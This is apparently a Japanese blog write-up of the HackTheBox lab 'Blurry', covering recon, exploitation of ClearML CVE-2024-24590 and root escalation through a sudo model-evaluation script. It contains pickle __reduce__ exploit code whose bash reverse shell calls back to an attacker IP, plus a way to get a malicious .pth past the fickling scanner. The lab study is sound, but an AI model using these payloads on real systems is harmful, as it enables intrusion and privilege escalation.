1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

【HackTheBox】Blurry:Writeup

Posted at

概要

HackTheBox「Blurry」のWriteupです。

User Flag

ポートスキャンを実行します。

$ nmap -Pn -sV -T4 -A -sC -p- 10.10.11.19 -oN nmap_result
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://app.blurry.htb/
|_http-server-header: nginx/1.18.0

ポートの稼働状況が分かりました。

ポート サービス バージョン
22 ssh OpenSSH 8.4p1
80 http nginx 1.18.0

ホスト名が分かったので、/etc/hostsへレコードを追記します。

10.10.11.19     blurry.htb app.blurry.htb

80へアクセスするとログインフォームが表示されました。

clear ml login form.jpg

ClearMLが使用されていると分かりました。

サブドメインを列挙します。

$ ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.blurry.htb" -u http://blurry.htb -fs 169
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 264ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 418ms]
files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 1065ms]

/etc/hostsにサブドメインを追記します。

10.10.11.19     blurry.htb app.blurry.htb chat.blurry.htb files.blurry.htb

chat.blurry.htbへアクセスするとログインフォームが表示されました。

chat blurry home.jpg

Rocket Chatが使用されています。

Rocket Chatにログインし、Home->Open directoryからAnnouncementsチャンネルを開きます。

open dir.jpg

メッセージを翻訳するとreviewタグが付けられたタスクは定期的に実行されるようです。

annon.jpg

ClearMLのBlack Swanプロジェクトを探索しているとPython 3.9.2,clearml 1.13.1が分かりました。

get clearml version.jpg

また、アカウント設定ページのフッターからより詳細なバージョンが判明しました。

setting footer vesio.jpg

バージョン情報で検索すると、RCEの脆弱性CVE-2024-24590が見つかりました。

下記サイトに脆弱性の詳細な概要とPoCが記載されています。

Kaliで攻撃環境を準備します。
ClearML 1.13.1モジュールをインストールします。

$ python -m pip install clearml==1.13.1

ClearMLのセットアップをします。

$ clearml-init

(省略)

Paste copied configuration here:

コンフィギュレーションを求められるので、プロジェクトのEXPERIMENTSタブ左上にある+ボタンからCREATE NEW CREDENTIALSをクリックし認証情報を生成します。

project cre.jpg

new cre.jpg

生成したものをコピーしセットアップを実行します。
認証に成功しました。

ClearML Hosts configuration:
Web App: http://app.blurry.htb
API: http://api.blurry.htb
File Store: http://files.blurry.htb

Verifying credentials ...
Credentials verified!

New configuration stored in /home/kali/clearml.conf
ClearML setup completed successfully.

名前解決エラーが出る場合はapi.blurry.htb/etc/hostsに追加する必要があります。

Verifying credentials ...
Retrying (Retry(total=1, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f54ec704450>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login
Retrying (Retry(total=0, connect=None, read=None, redirect=None, status=None)) after connection broken by 'NameResolutionError("<urllib3.connection.HTTPConnection object at 0x7f54ec707250>: Failed to resolve 'api.blurry.htb' ([Errno -2] Name or service not known)")': /auth.login
Error: could not verify credentials: key=E3C6W5U98UY1OI74L0NL secret=tGJ2ksZfhGSGlCIURPipcjHek5861VduVfK1EYvhgvPwCdzGud
Enter user access key:

エクスプロイトコードを作成します。

exploit.py
import pickle
import os
from clearml import Task

class RunCommand:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.17/1234 0>&1'",))

task = Task.init(project_name='Black Swan', task_name='my task',tags=['review'])
task.upload_artifact(name='pwned', artifact_object=RunCommand(), retries=2, wait_on_upload=True, extension_name='.pkl')

エクスプロイトコードを実行し、Netcatでリッスンしているとシェルを取得できました。

$ nc -lnvp 1234
listening on [any] 1234 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.19] 54922
bash: cannot set terminal process group (4225): Inappropriate ioctl for device
bash: no job control in this shell
jippity@blurry:~$

/home/jippity/user.txtからユーザーフラグを入手できました。

/home/jippity/user.txt
c79ca6d79111da03497e8a1ea52e1172

また、/home/jippity/.ssh/id_rsaからjippityアカウントのSSH秘密鍵を入手できたので、SSH接続にも成功しました。

$ ssh -i id_rsa jippity@blurry.htb
jippity@blurry:~$

Root Flag

sudo -lで確認します。

$ sudo -l
Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

/usr/bin/evaluate_modelの処理を確認します。
まず、引数に.pthファイルを指定し、/models/evaluate_model.pyを呼び出しています。

if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/opt/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"

.pthファイルはPyTorchモジュールのtorch.save()で、モデルの保存をした際のファイル拡張子のようです。

.pthファイルはZIPアーカイブファイルになっています。

$ file /models/demo_model.pth 
/models/demo_model.pth: Zip archive data, at least v0.0 to extract

次の処理では、.pthファイルを解凍しています。

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi

.pthファイルを解凍すると.pklファイルがあります。

$ unzip demo_model.pth
Archive:  demo_model.pth
 extracting: smaller_cifar_net/data.pkl  
 extracting: smaller_cifar_net/byteorder  
 extracting: smaller_cifar_net/data/0  
 extracting: smaller_cifar_net/data/1  
 extracting: smaller_cifar_net/data/2  
 extracting: smaller_cifar_net/data/3  
 extracting: smaller_cifar_net/data/4  
 extracting: smaller_cifar_net/data/5  
 extracting: smaller_cifar_net/data/6  
 extracting: smaller_cifar_net/data/7  
 extracting: smaller_cifar_net/version  
 extracting: smaller_cifar_net/.data/serialization_id

その後、.pklファイルを検索し、/usr/local/bin/ficklingを実行しています。

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done

ficklingではPythonコードの静的解析ができ、悪意のある処理などを検出できるようです。

.pklファイルの解析結果がOVERTLY_MALICIOUSの場合は、モデルファイルが削除されるようになっています。

.pklの解析結果がOVERTLY_MALICIOUSではない場合、/models/evaluate_model.pyが実行されます。

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
fi

ficklingの検出結果には、Likely Safe,Possibly Unsafeなど何段階かあるようですが、最もクリティカルなOvertly Maliciousだけ判定しているようです。

Overtly Maliciousに判定されないエクスプロイトコードを実行出来れば権限昇格に繋がりそうです。

リバースシェル用のpthファイルを作成します。

safe_torch.py
import torch
import os

class RunCommand:
    def __reduce__(self):
        return (os.system, ("bash -c 'bash -i >& /dev/tcp/10.10.14.17/12345 0>&1'",))

torch.save(RunCommand(), 'pwn.pth')

safe_torch.pyを実行すると、pwn.pthファイルを作成できました。

$ ls -la
-rw-r--r--  1 jippity jippity  912 Oct 15 10:06 pwn.pth
-rw-r--r--  1 jippity jippity  191 Oct 15 10:06 safe_torch.py

Netcatでリッスンします。

$ nc -lnvp 12345
listening on [any] 12345 ...

/usr/bin/evaluate_modelを実行するとrootでリバースシェルを張れました。

$ sudo /usr/bin/evaluate_model /models/pwn.pth 
[+] Model /models/pwn.pth is considered safe. Processing...
$ nc -lnvp 12345
listening on [any] 12345 ...
connect to [10.10.14.17] from (UNKNOWN) [10.10.11.19] 36900
root@blurry:/tmp# whoami
whoami
root

/root/root.txtからルートフラグを入手できます。

/root/root.txt
32d89c1f9453fcc0b5e74a914439556e

実際に作成したpwn.pthファイルを解凍し、ficklingの解析にかけるとLIKELY_OVERTLY_MALICIOUSと判定されています。
これで/usr/bin/evaluate_modelの処理にあるOVERTLY_MALICIOUSの判定をバイパス出来ています。

$ unzip pwn.pth
Archive:  pwn.pth
 extracting: pwn/data.pkl            
 extracting: pwn/byteorder           
 extracting: pwn/version             
 extracting: pwn/.data/serialization_id

$ /usr/local/bin/fickling -s --json-output /dev/fd/1 /tmp/pwn/data.pkl 
{
    "severity": "LIKELY_OVERTLY_MALICIOUS",
    "analysis": "`from posix import system` is suspicious and indicative of an overtly malicious pickle file\nVariable `_var0` is assigned value `system(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file",
    "detailed_results": {
        "AnalysisResult": {
            "UnsafeImports": "from posix import system",
            "UnusedVariables": [
                "_var0",
                "system(...)"
            ]
        }
    }
}
1
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?